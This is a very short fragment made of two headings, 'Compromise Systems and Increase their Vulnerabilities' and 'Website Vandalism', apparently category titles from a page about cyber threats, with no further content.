Compromise Systems and Increase their Vulnerabilities

Website Vandalism